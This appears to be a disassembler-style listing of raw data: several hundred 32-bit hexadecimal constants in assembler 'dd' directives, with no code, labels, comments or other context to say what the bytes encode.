		dd 0D37C6AE5h, 22520078h, 615B24A6h, 0B70BF55Eh, 45D17E07h
		dd 9BC424D8h, 74FAC299h, 4AE1819Bh, 6F3A6AAEh, 0E3007FF8h
		dd 557D15D5h, 0B50CC57Eh, 29844B71h, 13B19D85h,	48BF1330h
		dd 67C034D7h, 18CA6C37h, 0C709702h, 57D9B503h, 6A615068h
		dd 0DEE3B6h, 70C19CE9h,	9ECC3576h, 0DFBF6902h, 0D77A17FBh
		dd 2F1F333Ah, 0D41B1480h, 42A2DE1h, 8BB67F1Dh, 0D226B9F8h
		dd 4EA8ECF9h, 8F0FD114h, 0AF07969Fh, 2C831DD3h,	9D30F5FFh
		dd 57592CDh, 3630529h, 3C2CAE9Ch, 0E33D9D57h, 2ECE9A9Eh
		dd 0A2E3EB64h, 0E0026AD1h, 822B75ADh, 0D912AD54h, 0EEDB4357h
		dd 1CB78C82h, 91C23E5Ch, 2A201C0Dh, 9D231283h, 0A029B101h
		dd 0FC4A13E8h, 0F927F7B6h, 6C60AFDEh, 19A5BA5Dh, 0BA5250F4h
		dd 3D5C69D8h, 3A275E5Fh, 0B3F9EB80h, 9D1E0036h,	0F52A359Ch
		dd 0CC0B5382h, 8A967DDCh, 0CD019DD7h, 905F5B7Fh, 2DB80429h
		dd 4C155F26h, 2513B108h, 2BD3C6Ch, 5C462B54h, 31A2C91Ah
		dd 4DD7B194h, 0E7666AD4h, 0FB84D091h, 0FE1447CFh, 98E1995h
		dd 0EDFF6ADEh, 0E73FC0F8h, 0A40B5910h, 820C53C2h, 571BF523h
		dd 304024CFh, 0B341D71h, 0AC9C53Dh, 57131484h, 0E70044A2h
		dd 6E57458Dh, 0A594A12Dh, 5B251A10h, 27451DCCh,	292380D6h
		dd 108D68h, 0C19596EFh,	0F5B6EB2Fh, 19524607h, 0FE042C1Dh
		dd 0BAEDC880h, 0E03B4A58h, 7025E62Bh, 47C0DE03h, 2DA5AE4h
		dd 65776837h, 0EE941E5Ch, 0C5EFC3DDh, 9DA0255Eh, 0B597889h
		dd 16D9A44Fh, 0ABEF8125h, 4122E8Fh, 12BFF688h, 13256367h
		dd 2A9C299h, 959E0D5Ch,	0B0931CD0h, 53C121F8h, 0B53360D1h
		dd 0A46C08E1h, 8D280293h, 0B3FD10EDh, 11B5D9E7h, 0A5854741h
		dd 0A2C4A454h, 0F23877EBh, 0F42F242Dh, 6E0E40CFh, 2A1D3706h
		dd 542857ADh, 3B5FCE01h, 661218BBh, 1223E44Eh, 98405789h
		dd 127579DBh, 884BE95Fh, 0A5E14D0Eh, 4CC65E93h,	254ADD58h
		dd 84C477B8h, 0D1865730h, 0E4D4D2F3h, 0A55083C8h, 0EC90FE21h
		dd 0A19B4B28h, 7A747582h, 8211B762h, 0D7263194h, 0ED1E6314h
		dd 0CDEFE40Ch, 0DCFEC061h, 85513077h, 5CF17EF9h, 24D6F7Bh
		dd 9E50A51Eh, 2DABF405h, 74A5850h, 864E4EE7h, 8B95191Fh
		dd 0F4A77E74h, 2CD3430Bh, 9526DFDEh, 954D5E53h,	0C25F256Eh
		dd 0E0544D7Eh, 976CD27Dh, 1971F402h, 0CDFC5572h, 0AB84E53Ah
		dd 15239F6Ah, 2DB5409h,	2AB927h, 5AE452BBh, 0D2BA3326h
		dd 59B98B64h, 0B80CF9A4h, 3F7200CBh, 0BDCDB45Ch, 3364EEF6h
		dd 98AF3186h, 6B3CC5D5h, 6F168086h, 0EBB7A50Fh,	0C7D7505Eh
		dd 2E294145h, 46B430CDh, 0A5A0AC18h, 1200026Bh,	2C033342h
		dd 8662EAEEh, 5C22E974h, 38B4EA9Fh, 45518427h, 0ED45BADh
		dd 0E8D0A9BDh, 8DE32B80h, 0BB9F78ACh, 0CA51F301h, 0FC85C14Bh
		dd 2ED11031h, 22EF8E6Bh, 95313E67h, 0B05F16CEh,	1644D973h
		dd 61CA24B7h, 35526C35h, 0DD2A1441h, 0E76A7EA7h, 0E1FFF109h
		dd 5DC05D6h, 5F0C470Dh,	0BF0C807Ah, 0FC256AC2h,	0B9CC55Eh
		dd 0BC5C0433h, 53F64171h, 0D187D02Eh, 5D2DEDE0h, 957FD0F1h
		dd 0DA459994h, 415DF760h, 0DF073025h, 604B337Eh, 4A007B6Eh
		dd 8531E1D8h, 0F1950571h
		dd 6ED42F67h, 0D4DB54EBh, 0EB0BDB02h, 5C511E22h, 0F37625A5h
		dd 0E7F99FDCh, 0A29E10AFh, 73D7F52h, 5008639Ch,	0A0F2703Bh
		dd 1105C202h, 9D17B2E2h, 8EC08FEh, 0C4E45F12h, 54C38A11h
		dd 0E60B30CAh, 0A5A2B9EBh, 35AF875Bh, 902A0968h, 60502140h
		dd 61015372h, 0C87FB85Ah, 90DD5863h, 3E89642Ch,	30D6D700h
		dd 776571AAh, 82EFFE3Ah, 9D9B99Bh, 6089F927h, 427CA32Dh
		dd 7688504Eh, 523707EDh, 36C4A2A0h, 0A798A38Bh,	411D6B4Ch
		dd 80BE2CEDh, 7B2651B7h, 0C98D0043h, 0B42146C2h, 5009F5F0h
		dd 125B638Eh, 65DD5627h, 0E06CF658h, 92CEBFDh, 64CA30B6h
		dd 0ED9F6AD8h, 631AC42Fh, 28B1C0DBh, 85CC25CAh,	81007273h
		dd 0E97446EBh, 0ED014B8Fh, 4C83815Ah, 0C0FC2922h, 0B8FE2520h
		dd 0FC4A88C6h, 0BD1240E6h, 0AC0D8469h, 0CF81C062h, 4B71FFFBh
		dd 29689D58h, 359DA888h, 0A5C2EB30h, 0FD16A10h,	3031A69h
		dd 223125B1h, 0D8BFC562h, 1CEC7BABh, 5E4BD756h,	6920FC6Bh
		dd 258A72E3h, 3109ECD8h, 56169D8Dh, 0A160E4D3h,	0C28889A2h
		dd 96581661h, 374B4045h, 2D536C70h, 47950FC6h, 1C2380C4h
		dd 16B1790h, 0CDBF505Fh, 2213164Fh, 5E484B65h, 5AC625DFh
		dd 0CEA4C695h, 0FC168B04h, 0BADE87F2h, 2FD27EC0h, 0D3740032h
		dd 0B560768Fh, 74916136h, 800DE888h, 595365B2h,	69744915h
		dd 0C1194DECh, 4769637h, 0D18F0F14h, 23585F81h,	2E05C5BDh
		dd 0E7878374h, 44DA319Dh, 6DF8E044h, 2104B650h,	0B7BE8813h
		dd 530C32EDh, 14004259h, 0B5E88862h, 0B25B4ED0h, 4BE65FC9h
		dd 0E22BF8E0h, 0D7809409h, 55C13212h, 3C8428B7h, 20BE367Dh
		dd 0AACCA143h, 85D19Dh,	0FD6642F7h, 0F912DDFAh,	0D4E2F22Dh
		dd 51CBBFC0h, 949516FEh, 0E8E2B7BCh, 0DE82DEh, 4D2EDF82h
		dd 2DDA59EEh, 74C51524h, 3820211Ch, 0B74F3DE9h,	5703A02Fh
		dd 0B199098Ch, 0D871536Dh, 8EDB2DDDh, 255D4350h, 0B4C5DC8Ah
		dd 0CFB5743Dh, 17454065h, 290993C6h, 0D0BFD99Bh, 0C947B52Ah
		dd 5309A691h, 4E5C5FF8h, 2ACD9DC1h, 0D0A1DB6Ah,	59DFC477h
		dd 5ED819B8h, 3897344Dh, 4D38189h, 69F782E7h, 0C820AE96h
		dd 4A8A69Eh, 74C3153Bh,	0B94A862h, 46968018h, 653B07B9h
		dd 30EFFC42h, 952D5A2Eh, 8C739601h, 0CEBE5755h,	95B55720h
		dd 215B5E85h, 0D497BF79h, 77B06A26h, 0E8A49B09h, 0EB115C0Ch
		dd 6B4094CDh, 2219E94h,	0D7A1999Ch, 86A90178h, 4AF67E5Eh
		dd 928BE857h, 9EAC12C4h, 0E3E781C0h, 1B4B6BFFh,	2380928Ch
		dd 0BF0134D3h, 71C75951h, 0A67A172Eh, 9B0DE0A2h, 0CA8B017Dh
		dd 958903CDh, 20016B25h, 88DB529h, 81A2302Eh, 0EB4B90DBh
		dd 0F379A49Dh, 0E7B22BA9h, 0EE827514h, 0B821E112h, 6EBAB422h
		dd 0BCDE00D9h, 8BE53180h, 64B595FEh, 6801891h, 0BD957ACAh
		dd 1B88605Eh, 0E4667D5Dh, 0AE5995B9h, 37FC42Fh,	0BB75D45Fh
		dd 0B8D02251h, 713E615Ah, 79BC7410h, 0CF00AC68h, 8B5019A3h
		dd 6D69B5DAh, 28DA2AD9h, 0E6C414C8h, 0D6D1AEB9h, 0DF02CCACh
		dd 0B10E0C08h, 0BDCFE0F4h, 0B21C9718h, 0B16E4145h, 96066436h
		dd 1540D2B6h, 12F20BD4h, 0A2C44A2Eh, 3F3B0097h,	8AF35E6Fh
		dd 2E07030Eh, 0C9C01385h, 4D56DE2h, 1FD15F22h, 902550Bh
		dd 3A88D420h, 5D5B0374h, 0F9D093DFh, 0AC9FBDB4h, 0CE028C19h
		dd 0FC178BE8h, 917C6112h, 0B16AF7A5h, 4CBDD7h, 60FDE4F1h
		dd 8809A2BCh, 7B5E5DA8h, 1B98988h, 0E33D55h, 8FD7DE8Dh
		dd 3D5C6B4Ah, 0BC8012D3h, 4488A3E2h, 14ADE0B1h,	2CE68004h
		dd 704BCD52h, 0D8D8A78Dh, 6A8F9F57h, 89171FC8h,	617A20FEh
		dd 0ABB4C65Fh, 95E572F4h, 0FCAFBC67h, 9716D4ACh, 0EEB384AEh
		dd 0DDBD884Fh, 6F599D00h, 9E6ACF88h, 46E609BFh,	0CE5682E9h
		dd 0C111ED25h, 3067A6B7h, 5605EE95h, 810F92DFh,	0C1246EA2h
		dd 9700DEC0h, 61F407C4h, 5814B83h, 0E38A87CBh, 0CDDABA25h
		dd 16C02ED0h, 8DAE5E10h, 3681064Eh, 222A1C05h, 0AB2EFEEFh
		dd 0F4E454FBh, 6D325B26h, 0C48D9589h, 187BC11h,	0E78064B5h
		dd 47D08274h, 5D07E492h, 700278B7h, 5CED6672h, 0A99013F0h
		dd 0D4DECB2Fh, 0BB443F1Ch, 0E15EB809h, 98E25020h, 9BD0CC0h
		dd 0BF1027ACh, 0C72FFD79h, 0C9B0F63Ch, 5DC48C74h, 0A3931227h
		dd 8CAA6004h, 0D04F8BB3h, 0F2423C20h, 31DE00DFh, 5DD2B47Bh
		dd 1A042B30h, 75854021h, 6F1C13ABh, 8283007Dh, 143C161h
		dd 0B3794A9Dh, 0F66FC93Ch, 0E8E2E0D6h, 7900CACFh, 0A2EB203h
		dd 258496ACh, 4AD4026Ah, 0BA8B39DCh, 0E5E0B380h, 27A1C94Ah
		dd 5750F813h, 255F68BDh, 0B48BFE66h, 290CD94Ah,	1E3D70AEh
		dd 4E4900A7h, 0CFF130E3h, 1CF9B7DDh, 41C1BF80h,	4BE91D89h
		dd 10278EF7h, 89049251h, 19268D9Dh, 0AA140D0Ch,	0A2D3E9Dh
		dd 744C21A8h, 658D16D4h, 50FC1740h, 2AA0A8BFh, 0F08101CCh
		dd 0B9CF16CDh, 0C70FAD7Dh, 5619098Dh, 1C46F419h, 1595700h
		dd 3A39FAD1h, 0FC680B3Ch, 345DF2C4h, 0E3325B0Eh, 79D75028h
		dd 0DDF62A45h, 0F900F237h, 19C58D67h, 0AEFF056Eh, 0C866555Ch
		dd 6DC9DD6Fh, 71EE54F5h, 2085EC29h, 518B8184h, 70E6D150h
		dd 0DCD70481h, 0AA7D3B1Bh, 0F58017C2h, 9A78FE5h, 557662EAh
		dd 8495264Eh, 0C5AC05C0h, 430AE984h, 0F8218D0Bh, 12F06C85h
		dd 0B366FBBDh, 0F99508D4h, 0CC60450Dh, 0B425B54Bh, 6CF25EA4h
		dd 5874F0F6h, 2CA5B909h, 0CAA17561h, 3F912DBBh,	0A0D3DC80h
		dd 0BAB3B8ACh, 0B2615A89h, 2C511008h, 39C32E98h, 0D104CC7Dh
		dd 130D8529h, 0BF6C63ABh, 509981B0h, 0B120E5B0h, 8D091C08h
		dd 0F8516D2Dh, 31859D84h, 108C4835h, 0F4CC4B25h, 0B49E946h
		dd 5C71B727h, 798469B1h, 16075604h, 8AA45B61h, 9D8235A8h
		dd 0D1562B6Dh, 34F22C4h, 0FD75C1EDh, 0FE2B42A5h, 82989285h
		dd 63889547h, 12F20BFEh, 0C3532F09h, 0E4174104h, 0EBC89BDh
		dd 0AE8B3100h, 0F894FD70h, 2BB8BD86h, 48211F1h,	0B0E239C9h
		dd 3856F825h, 40354DE9h, 78DC19B3h, 7C03CC27h, 0B589406Bh
		dd 0B9811AE5h, 275A82Ah, 283C82BBh, 2FAD561Fh, 0C614D9B7h
		dd 276D03F6h, 101594D8h, 2F2EEDE2h, 70FB53FCh, 5162F7D0h
		dd 531994Ah, 7FD8FB5Bh,	1581209Dh, 0D52D2B76h, 3D3F5331h
		dd 0DEFDD2AEh, 0C0D24900h, 120AACDEh, 0CFC24A8Dh, 61B140C3h
		dd 7CCA064Ah, 8AF03B43h, 0AC0322A1h, 5287B46Eh,	0CDE41390h
		dd 0B40BB833h, 4300303Fh, 6B9560ECh, 72E275B6h,	1F81F391h
		dd 0E53226E6h, 4A2D9030h, 0A27BAC2Eh, 5697D5FBh, 0D4C2F4ADh
		dd 0A6D87900h, 0DC9593B2h, 55FCA054h, 176FB534h, 4A4DB240h
		dd 0D36204A1h, 82FAB37Dh, 0FC2001C2h, 4A8DBD29h, 22D0CE08h
		dd 2017908Ah, 0FC381DADh, 899E4FB8h, 3C70E7C0h,	0B64A9EE3h
		dd 7CD35D04h, 9AD2E6ADh, 9D87857Ch, 84EA20BBh, 7E01DF52h
		dd 0E5D8CE2Fh, 0E0FA78F2h, 137A60A6h, 849073h, 0A45130FCh
		dd 0E15CFF18h, 2C78C08Eh, 116FB0Dh, 7441CB3Bh, 0E46E5D38h
		dd 0BE2523F9h, 13F365E2h, 0E6D957D2h, 56E3E042h, 1989257Ah
		dd 0C01113C5h, 0F065F825h, 4D1D7C1Ah, 0C1C8E793h, 2B8654FCh
		dd 34751D81h, 319CC104h, 0BC0F1319h, 92CAFBh, 0B863CCA8h
		dd 95603594h, 0DA00BA37h, 75AF147Ch, 0FCDE25A4h, 0D9ED1DC2h
		dd 0B5419AC0h, 9C38498Fh, 8B950820h, 0DCAAD622h, 79658001h
		dd 3C76F934h, 8A04482Eh, 90B7AFh, 747FEBE6h, 0B51009CEh
		dd 72480E21h, 0A71B7512h
		dd 0BD3104C8h, 0CBAA1689h, 6B64AD9h, 0D65245A0h, 91323A00h
		dd 812F957Ch, 176BEECBh, 0FC505782h, 28205B7Eh,	5AD24Bh
		dd 0FA8DDA39h, 65CAB3CDh, 0DCB03B3Eh, 0EC02161Ah, 755FF8F8h
		dd 573829Bh, 0F84ABA20h, 0D46B5AC9h, 0C0DD9BB5h, 0F3BEC291h
		dd 0F99A0B6Ah, 2CF0D6ECh, 4891A52h, 1911BD09h, 4BF3CEAAh
		dd 0B18D1C20h, 0F73000B9h, 0EDC8FC75h, 2B042E55h, 786E8808h
		dd 0E5DFDAE0h, 83B3898Fh, 14F2FC13h, 9EB3FABEh,	958F882h
		dd 27CA578Dh, 35E94356h, 0E4758C63h, 0D3B8DA68h, 0DBAD852Fh
		dd 6BC2D8AFh, 0CFD9F53Bh, 72B3BE8Ch, 0E95A0995h, 3DD701C9h
		dd 0FB600E64h, 2E08F136h, 7DB1FD12h, 8B7B7Bh, 9401D2B0h
		dd 258D31ECh, 1F73047Dh, 0A8181D79h, 3BC27C00h,	0E0BF48C7h
		dd 0B4C55031h, 3A789F06h, 0CFB7A95Fh, 7CE0C8B1h, 8AC09DD7h
		dd 98331175h, 48734CB8h, 4A60E85Fh, 0B04F57B6h,	0CA13BC83h
		dd 8F9B0689h, 0E685482h, 42B41A6Ch, 0C04A2D10h,	70EB81E5h
		dd 1F52EE16h, 0A8CD16AAh, 37ADCE5Bh, 299D9691h,	0E3605F24h
		dd 961185ECh, 8D611324h, 8F04704h, 0B4B6DABEh, 0AB3019B2h
		dd 9C270921h, 33805EA7h, 0EF48C668h, 0F60B60Ah,	0BE85588Dh
		dd 20EB2CF5h, 6746F0C6h, 27C7B00Fh, 3E83E1D2h, 13EC9473h
		dd 2B0B029Bh, 61CEB977h, 39C080D5h, 0BC492FBBh,	1E00DC39h
		dd 673CD488h, 137DDD96h, 0A68DAE2Dh, 0D0EF0015h, 92BB50CFh
		dd 2B312636h, 0B14A47Bh, 0F86B0869h, 1A651BC2h,	0A8A4BF00h
		dd 0A0611359h, 9515B5C7h, 0EDAD47CDh, 433E47BBh, 25A854A7h
		dd 95122931h, 8FB30639h, 0B8D54E89h, 76DF28h, 0DB34538Ah
		dd 0B36630C2h, 0F9673501h, 50E9A777h, 0C0C39E3Bh, 0BD29E81Ch
		dd 0A805E735h, 941222EEh, 0A5846F7Bh, 92B31205h, 0D8DA5ABAh
		dd 0C9609080h, 1801F69Fh, 1519CF3h, 946A6DB5h, 0A29EAC35h
		dd 0D13D5FF2h, 0A26DC682h, 0BE05450Fh, 0BF664BE0h, 0B3BEC4D8h
		dd 0B1DA9E2h, 1C12365Ch, 31C991ADh, 0B8262584h,	94F3A078h
		dd 62DC0B3Bh, 24925096h, 9B404576h, 17779808h, 974837Ch
		dd 5AFB962Eh, 4ABBB270h, 0C862DA84h, 0DB3DC01Ch, 35053495h
		dd 5D2D5232h, 4E11BBA0h, 0E831A930h, 0B15F0A29h, 0EE5347Bh
		dd 9D82FBBFh, 0A9DA1705h, 0AC12F929h, 996A184Bh, 7D6103A6h
		dd 3E81FA89h, 802725B0h, 2EFDB209h, 0A48F7143h,	1F89A7F4h
		dd 40A58F59h, 9C578DA1h, 0A85CAFB4h, 0FE2209F4h, 906344Ah
		dd 89954B79h, 0A164E6B1h, 8C2BC1F7h, 9D750131h,	90B7165Ah
		dd 0CC4AB658h, 0BD14016Ah, 27512AA1h, 14927C8Bh, 9B59F1FBh
		dd 0F7127AFCh, 4FACB3Fh, 0AB1229A3h, 0E27EF576h, 6E968131h
		dd 7808B896h, 407CB6FAh, 0D9901ED3h, 70F91602h,	5CC18E5Eh
		dd 1946D647h, 901D3501h, 7F5A6D0Eh, 258D6A02h, 11457E0h
		dd 0D0583A93h, 0B4A90233h, 0A6017478h, 72D452E8h, 79506027h
		dd 615F8904h, 75445D71h, 3DD7F257h, 40311FAAh, 7AAD5F40h
		dd 369A43Eh, 0FC473DEEh, 0C21048A2h, 5B2F1951h,	82002764h
		dd 0A5F1664Eh, 7023F479h, 4BE7008Bh, 0EB9E7E6Ch, 155F4457h
		dd 5EFEE4C2h, 0BA76441Eh, 2DA8D98h, 8B1AAD7Fh, 9DF5ACEh
		dd 787ADB15h, 2801350Ah, 6141BBAEh, 9A6B3B29h, 0C12AD02Bh
		dd 0D8CD1107h, 3582816Eh, 63A73B30h, 251EF7A7h,	9E90FFB5h
		dd 93C8D380h, 1818713Ah, 0CE8D0B66h, 0FC549A4Eh, 20BFDFE4h
		dd 43054944h, 95583700h, 46351013h, 25149692h, 0B325C766h
		dd 11A3C503h, 8B69765Eh, 0DB46D7h, 2344656Dh, 7F5403DBh
		dd 42A36700h, 0BA2A78DAh, 0BF51024Ch, 137697F5h, 6D603257h
		dd 0DC18E087h, 891333C9h, 615DB18Dh, 2FDD9DC4h,	568B21AEh
		dd 9265E909h, 0BDE35B6Bh, 7366AD7h, 0FBA3FA0h, 96F91470h
		dd 0E1365F2Fh, 0E98189BEh, 278955D5h, 4DCF097Dh, 0A25CC08Ch
		dd 0EA1FBC68h, 28813D3Ch, 0FB89BFC6h, 122E34FDh, 1FDEAF8Dh
		dd 0AC8D7285h, 0B35009D1h, 0F486420Dh, 6C0FDCC6h, 0FB873931h
		dd 0D9563A40h, 0CA6EAACAh, 0DD3C8A01h, 6BE0845Bh, 202AFDE1h
		dd 0E4A22059h, 0D995A2B7h, 2A6B7562h, 2699D7C0h, 0F88A5015h
		dd 0B1EE867h, 0E14228F9h, 255F6AD0h, 0B556929Ch, 636D0362h
		dd 4375CCE0h, 0F90F25A7h, 8081B757h, 43D4AD69h,	81B7E274h
		dd 25D59D2Ch, 80B1B92Ah, 0ABA810BBh, 0DF1A971Fh, 1831A59h
		dd 283105B5h, 12A6D13Bh, 0E242D3E7h, 0D99D8BABh, 26A89FFh
		dd 0B8806F37h, 0AD82975Ah, 0A3861D7Fh, 0F3902D53h, 0D81FD54Ch
		dd 0AD07B9D2h, 0CE4004E6h, 17D00F74h, 0C74D4E0Bh, 900B88BDh
		dd 0DA8D8352h, 67828C5Fh, 254FF830h, 6F1200Dh, 5038D369h
		dd 0B00672A2h, 0EF85B2F8h, 2A312F7Eh, 27C024D6h, 3C0222h
		dd 85D46F95h, 2109C451h, 0CE820F2Ch, 5762E962h,	6EAA001Eh
		dd 4072B3D3h, 2553CA08h, 5E54FC74h, 7B5397DCh, 1271118Ch
		dd 0BA84127Fh, 3B19F313h, 96BE4C89h, 8F1291ACh,	10BE584Fh
		dd 0A34B47BFh, 1029F998h, 0F4233D9Dh, 5CA860FDh, 89377A00h
		dd 919B619Ch, 4BBB58ABh, 0F2947FC0h, 0A100B0B1h, 38E64948h
		dd 12026C4Fh, 0F3F68296h, 9E032405h, 6A3E1B10h,	3CEF808Bh
		dd 85DCE02h, 24CF7h, 0DFEA313Fh, 33202BC6h, 11FA7900h
		dd 26A47D4Ah, 9795FE90h, 5684F633h, 5DCD1C8h, 0A5B69B70h
		dd 0E94DAAB8h, 2B81F1h,	6EB7E7FBh, 820888h, 75B2C5C3h
		dd 0EF249723h, 6B32FED5h, 0C64455F9h, 96135D23h, 304416FCh
		dd 636C9E07h, 38961800h, 5BD92F9Fh, 4BFF7240h, 29DA8033h
		dd 235A8D95h, 0FEDB8742h, 0ACD45C1Eh, 0D1602589h, 0E5FB16BFh
		dd 0E98A30D1h, 85390154h, 0A2317D25h, 55131D6Ch, 887AB99h
		dd 58D31F81h, 0AA1E52DBh, 291AC662h, 0E90D257Eh, 0C82F115Bh
		dd 8C0026C1h, 0F75995BEh, 0BEFD354h, 75830B53h,	12D29B55h
		dd 0E6289980h, 0A63422CBh, 0C18100E1h, 2019DF63h, 0A509D951h
		dd 563F8D91h, 1F101088h, 2D28835Bh, 0D9A84195h,	3B7808C6h
		dd 1B75BD09h, 1050A056h, 0A6E45E22h, 0A4DCF09Dh, 87290227h
		dd 6A9EC231h, 2DEF654h,	0A30FDD48h, 0C67502AAh,	46BB09BFh
		dd 4A5D0E8Eh, 0AD6F55ACh, 0AC80F244h, 95B9B72Fh, 0F8148F76h
		dd 0BBDB4AC0h, 0AEF920C6h, 2BFD914Dh, 67584DFCh, 26EE04F0h
		dd 0AFC02B0Ah, 28818CDBh, 7E974083h, 0A230A3E1h, 2B3040A9h
		dd 0F88BD212h, 0B9B48EADh, 60A8DBh, 0A0F657DDh,	0B464C426h
		dd 0FF4AFD90h, 9714E4E0h, 7DB3F214h, 13FD6A58h,	0D5A5B3D6h
		dd 0E8ADB934h, 0BC2E4836h, 0D1020916h, 2E20E51Ah, 9D09DD70h
		dd 0AC284A81h, 0B17DED37h, 4A00ACA8h, 0C6AAFF8Ah, 277E5D08h
		dd 0A5648F0Fh, 7D488742h, 0D09FE522h, 0C204FF77h, 0C65C6A0Ah
		dd 0E2154151h, 98230033h, 66BF1E88h, 460E6210h,	741FFDh
		dd 25B9BBC0h, 0FC242515h, 38F8B2C6h, 69F4F817h,	802F4AF0h
		dd 2909E1FFh, 0DB0DF1B5h, 1341A444h, 2C2CABA9h,	0F525C94Ch
		dd 59475E71h, 0F483D6EBh, 0CD804800h, 0C065C51h, 8A274BCCh
		dd 55F23481h, 7C919F82h, 6F60124Eh, 94FE024Dh, 0D4DE99A3h
		dd 486225DBh, 338B777h,	0D80FEC60h, 4457A79Ah, 0DE410029h
		dd 8C545263h, 0E72C2844h, 0F3007DA3h, 805F6A35h, 2098BFE1h
		dd 0DF07051Dh, 0F5BE6C8Bh, 4B37DC20h, 0B2AB4A9Ch, 9A62006Bh
		dd 0F8638C01h, 8271006Fh, 0A5FED7F7h, 59006A70h, 0BF24355Eh
		dd 2145346Ch, 4915B56h,	51FBF827h, 0D61CA6h, 0B7D1B450h
		dd 0BCAFA577h, 55DFD8C2h
		dd 0E95E5C4Bh, 5F407AEDh, 243F7E6Fh, 97556C8h, 6E5D0641h
		dd 950F766Bh, 0F3824F59h, 5E6ABB6Ch, 0D902DECBh, 9DD7ECE8h
		dd 0AB1B7760h, 3F52825Ah, 61F19000h, 24B0A968h,	294BB845h
		dd 0FA56139Bh, 3FC77E17h, 47D95371h, 0ABF00666h, 5E0BDBB0h
		dd 7E877E07h, 0A83316D0h, 0CA88B7E7h, 1BF90B8Dh, 46F3B390h
		dd 0D7E92E16h, 31120FA2h, 62E1B730h, 561A61E6h,	0A2DE5AC1h
		dd 0CF2E50D4h, 5260890Eh, 816405A2h, 4A120920h,	8AC8CC61h
		dd 76A9DC4Eh, 1726FE88h, 236E2FDEh, 0A3079744h,	5A01A0C7h
		dd 0F7E3C0EEh, 17AEF52Eh, 48C0DA3Ah, 5F0E15B5h,	9D012160h
		dd 89BF3469h, 0B31A4998h, 0ED4D8D03h, 0A591774Bh, 533D7B49h
		dd 858079FBh, 0A8289935h, 69379052h, 46F48D04h,	0F2BC6AE9h
		dd 317D1901h, 52F0BF58h, 0ADF0C62Fh, 66965F02h,	5E2D6FBBh
		dd 88CABC82h, 9700ADFFh, 2DB35EAFh, 1D931E14h, 0C96632E1h
		dd 371C569h, 0DE64DC25h, 0AD6ED700h, 0BB7B7E93h, 0CAF208AFh
		dd 84BF05E8h, 7A3ACEE1h, 1DD6881h, 8768B581h, 316413B2h
		dd 29806A04h, 0F30CB178h, 83F08276h, 657B7526h,	0FC533204h
		dd 16BEF90Eh, 2A1BA1C1h, 0BFCFF970h, 565004B1h,	0AB5FD88Bh
		dd 0BC5AAA7Bh, 6EC14B57h, 0EF221289h, 3004F889h, 0B209B8DFh
		dd 51DD54F9h, 909E7A63h, 1C084FC3h, 25CCAFADh, 8ABC4F76h
		dd 5BF51C90h, 7B46E949h, 64C2D8D3h, 771A5Ch, 0BA479BFFh
		dd 25B589C7h, 0F7672E1Dh, 4C049D74h, 13DD140Eh,	38AA2CADh
		dd 44A4A1Eh, 0F1A117E7h, 0B48DF08Fh, 0F999FC26h, 7122D909h
		dd 6B15C6E6h, 9D4A2B7Dh, 0B9893C5Dh, 0EB8AFC18h, 0AB847963h
		dd 9D0B7E70h, 8B6AEDB9h, 46A4F80h, 486A090Eh, 78E4B620h
		dd 0A549AF84h, 125A12A7h, 0BE4813E3h, 599D231Ch, 3E8DB933h
		dd 0F61E390h, 1091BD8Fh, 0B350E4D7h, 0F312705Fh, 78E0C7A6h
		dd 633EEF23h, 199ACB2Dh, 0CC01AC8h, 1611EB70h, 926F169h
		dd 1202DAD0h, 4E552D25h, 293B98C3h, 5EB21681h, 8A67B000h
		dd 0B3799AEAh, 0F92D25B6h, 880097D1h, 31FBE60Ah, 0A15503EEh
		dd 0D1EF817Bh, 0AA5EC497h, 67F4D89Dh, 957198C6h, 0F4EE1A8Bh
		dd 91AC1B00h, 0BBEEBFD6h, 700700D0h, 7B356F1Ch,	77508B88h
		dd 6402DE2h, 24CBD5Bh, 9248CB3Ch, 13E16B30h, 0B6C0781Ah
		dd 0B72C9A4Fh, 7D7B6809h, 481AD5ABh, 0C8B5DDh, 0CEE6B70Ah
		dd 53954B31h, 456225D7h, 0DF4B65Ch, 0A9EB6847h,	28823A3Eh
		dd 5796D504h, 0E1580B93h, 16E5E2ABh, 0F09A51E3h, 29801B43h
		dd 19212F85h, 6D955616h, 0FED0407Ah, 9614DBE8h,	10EEA029h
		dd 177F26D1h, 0FDF780h,	0D6BF5328h, 7A780F22h, 83BF297h
		dd 4373CE2Ch, 0EC001391h, 0A07B4D3Dh, 0BB00D635h, 0B2DABCB8h
		dd 95F9C3Fh, 0EA97F28Ah, 600002D0h, 8BA2ED80h, 2F3361F0h
		dd 2E89A1BDh, 4F989555h, 4E98B9E0h, 51497BFCh, 0FBD2167Eh
		dd 22F0A82h, 0B75C13B7h, 84B0B5E9h, 0B87C2F3Ch,	8738A3A3h
		dd 0DE145409h, 0F7E0554Bh, 3AF6AB65h, 50408D0Ch, 6DD7BB04h
		dd 91D45ADDh, 1A999E04h, 0CD36BE29h, 87A65A4Bh,	283017B2h
		dd 22022540h, 0B89EA140h, 919C3597h, 3CAD8019h,	5155610Eh
		dd 0E2D6CE4Ah, 0FC155592h, 396DE760h, 7CCE014Bh, 0A5952988h
		dd 0F3A32A2Fh, 6A38588Dh, 0B6F23FA6h, 0DD401774h, 2B469DAh
		dd 0AC9ACFB8h, 645C0286h, 0D0EA5BADh, 1A5048BCh, 1D4B29F3h
		dd 8E6A5D89h, 15EF00E4h, 0E93F0380h, 0E46295AAh, 4DCE57Eh
		dd 8507CB41h, 0D188BAE2h, 0C6550035h, 97241D61h, 0C2045EDCh
		dd 5A457ED5h, 58A217F0h, 0C1280E52h, 4A125E9h, 0FCE4CF54h
		dd 0BBDF02BFh, 2055E232h, 1B52981h, 1394A423h, 0F8CFEF80h
		dd 80BD4FC2h, 0FC6122E8h, 0E4B1A37Ch, 0F047E62Ah, 577E13Eh
		dd 7DD2949Fh, 3C07A2FCh, 0FA1B8132h, 9AFB914Bh,	0A03A1CC1h
		dd 0FAA83D0Ch, 9975B61h, 4035503Eh, 0B3259019h,	0F9D287B1h
		dd 701E5B7Bh, 777E90BCh, 2C40E309h, 2DADF8B6h, 54542A55h
		dd 3B30BD7Eh, 93018873h, 0DEA94DABh, 0B03F7CDBh, 0F802FAAh
		dd 0C91A958Ch, 96E0AACDh, 27C918BCh, 76589D67h,	0F95649BFh
		dd 3B4DDD6Ah, 41800CDAh, 8D2957F9h, 5F4024B5h, 2F693181h
		dd 30519D2Bh, 6BFCF77h,	5F7EB7CDh, 1976ED1h, 0E7A9C471h
		dd 3B35EAh, 0BFE99CBCh,	65259E10h, 1394C512h, 0C9C9DE8Ch
